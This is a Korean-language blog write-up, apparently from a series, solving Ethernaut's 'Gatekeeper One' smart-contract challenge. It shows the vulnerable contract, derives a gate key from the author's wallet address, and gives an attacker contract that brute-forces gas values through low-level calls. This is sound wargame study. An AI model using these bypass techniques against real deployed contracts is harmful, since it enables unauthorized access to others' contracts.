13번 문제 Gatekeeper One 입니다. 이 문제는 13번, 14번에 one, twe 두 개로 구성되어 있네요. 두 레벨이 비슷한 성격인가 봅니다.
Gatekeeper를 지나야 이 레벨을 통과할 수 있다고 합니다. 힌트로는 Telephone과 Token level에서 배운 것을 명심하라고 되어 있네요.
그리고 또 solidity 문서에서 gasleft()라는 특별한 함수를 배울 수 있다고 합니다.
2022.02.28 - [Smart contract/Ethernaut 문제풀이] - Ethernaut 문제풀이 #4 - Telephone
2022.02.28 - [Smart contract/Ethernaut 문제풀이] - Ethernaut 문제풀이 #5 - Token
레벨 4의 Telephone에서는 tx.origin 과 msg.sender를 분명하게 구분해서 사용하자는 내용이었고 레벨 5 Token는 변수 오버플로우에 관한 것이었습니다. 그리고 gasleft는 잔여 가스라는 설명 이외에는 없는 거 같은데요?
뭐 레벨에서 주는 힌트야 항상 애매~ 하니까 코드부터 봅시다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {//GetekeeperOne 컨트랙트
using SafeMath for uint256;
address public entrant;
modifier gateOne() {//gateOne modifier
require(msg.sender != tx.origin);//이건 다른 컨트랙트를 사용하므로써 지나갈 수 있겠네요.
_;
}
modifier gateTwo() {//gateTwo modifier
require(gasleft().mod(8191) == 0);//gasleft 8191로 나눈 나머지가 0이어야 한다고 하네요.
_;
}
modifier gateThree(bytes8 _gateKey) {//3번 게이트 키퍼
//1. gateKey를 64->16 케스팅 한 것과 64->32 케스팅 한 것이 똑같아야 한다고 합니다.
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
//2. gatekey가 또 강제로 형변환 한 것들과 달라야 한다고 하네요.
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
//3.txorigin을 uint16으로 변환한 것이 gatekey를 64 -> 32로 변환한 것과 같아야 합니다.
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
//이 게이트들을 무사히 통과하고 나면 entrant는 tx.origin이 되고 true를 반환합니다.
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
여러가지 생각나는게 있으실 것 같은데요. 그전에 간단한 컨트랙트를 만들어서 실제로 캐스팅 된 값들을 확인하고 넘어가시죠.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract CastingTest {
bytes8 public _gateKey;
function set_gateKey(bytes8 gateKey) public {
_gateKey = gateKey;
}
function getGasLeft() public view returns(uint256){
return gasleft();
}
function get64() public view returns(uint64){
return uint64(_gateKey);
}
function get64_32() public view returns(uint32){
return uint32(uint64(_gateKey));
}
function get64_16() public view returns(uint16){
return uint16(uint64(_gateKey));
}
function getTxOrigin16() public view returns(uint16){
return uint16(tx.origin);
}
}
_gateKey 0xabcdef1234567890을 입력한 후 캐스팅 값들을 확인해 보았습니다. 아래는 결과들입니다.
_gateKey: 0xabcdef1234567890 입력
uint64(_gateKey): 0xabcdef1234567890 => bytes8 은 uint64와 같습니다.
uint32(uint64(_gateKey)): 0x34567890 => 하위 4바이트가 남습니다.
uint16(uint64(_gateKey)): 0x7890 => 하위 2바이트가 남습니다.
그리고
tx.origin: 0x75bD5f1Cc72ba1da65bbE424f102c868c29Cea8E 제 지갑 주소이구요.
uint16(tx.origin): 0xea8e => 하위 2바이트가 남습니다.
modifier 마지막 조건부터 보겠습니다. 여기서 대부분 결정이 되기 때문입니다. 하위 2 byte tx.origin의 마지막 2 byte와 같아야 합니다.
(uint32(uint64(_gateKey)) == uint16(tx.origin)
0xXXXXXXXX 가 0xea8e와 같으려면 0xXXXXXXXX는 0x0000ea8e 수 밖에 없습니다.
그리고 4 byte로 줄인 값과 2 byte로 줄인 값이 일치하야 하므로 하위 두 byte 다음의 2 byte는 0000 이 되어야 합니다.
(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
0xXXXXea8e가 0xea8e와 같으려면 XXXX가 0000이어야 하죠
그리고 아래 조건을 만족하려면 상위바이트는 0이 아니어야 합니다.
uint32(uint64(_gateKey)) != uint64(_gateKey)
0x0000ea8e != 0xXXXXXXXX0000ea8e 를 만족하려면 XXXXXXXX는 00000000이 아니어야 합니다.
그럼 결국 _gateKey의 모습은 0xXXXXXXXX0000ea8e의 형태가 되면 전부 조건을 만족합니다.
저는 그냥 제 지갑 주소에서 8 byte를 뜯어내고 하위 3,4 번째 byte만 0000으로 변경하였습니다. => "0xf102c8680000ea8E"
그러면 남은 것은 gasleft()가 8191의 배수가 되도록 설정하는 일 뿐인데요.
거의 하루를 날려가며 생각하고 검색해봤지만 찾을 수가 없었습니다. 13개 레벨 중 저에게는 가장 어려운 레벨인 듯 합니다. 결국 검색을 통해 openzeppelin 커뮤니티에서 답을 찾긴 했는데요. 이마저도 찝찝하네요.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatePass{
address public owner;
address public target;
constructor(address _target) public {
owner = msg.sender;
target = _target;
}
function pass(bytes8 gateKey) public {
bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"),
gateKey
);
// gas offset usually comes in around 210, give a buffer of 60 on each side
for (uint256 i = 0; i < 120; i++) {
(bool result, bytes memory data) = address(target).call{gas:i + 150 + 8191 * 3} (
encodedParams
);
if(result) {
break;
}
}
}
}
코드와 같은 컨트랙트를 배포하고 계산해두었던 key값을 넣어 실행하면 됩니다. 당연히 문제도 풀립니다. 하지만 이렇게 for문으로 돌려 일일이 대입하여 값을 찾아내는 점과 raw level 함수를 사용하는 점이 여간 마음이 불편한게 아닙니다. -_- 두통까지 오고 있습니다.
일반 함수로는 동작하지 않습니다. 이유는 다음과 같다고 하는데 솔직히 의미를 잘 모르겠습니다. It’s because the raw call does not propagate the reverts that occur on any iteration that does not pass the required gas value.
아마 조금 더 공부를 해야 Ethernaut 문제 풀이가 원활하게 되지 않을까 싶습니다.
이 레벨은 일단 지금은 홀딩하고 공부를 더 하고 난 후에 다시 정리하도록 하겠습니다.
안녕~!
'Smart contract > Ethernaut 문제풀이' 카테고리의 다른 글
Ethernaut 문제풀이 #12 - Privacy (0) | 2022.02.28 |
---|---|
Ethernaut 문제풀이 #11 - Elevator (0) | 2022.02.28 |
Ethernaut 문제풀이 #10 - Re-entrancy (0) | 2022.02.28 |
Ethernaut 문제풀이 #9 - King (0) | 2022.02.28 |
Ethernaut 문제풀이 #7 - Force (0) | 2022.02.28 |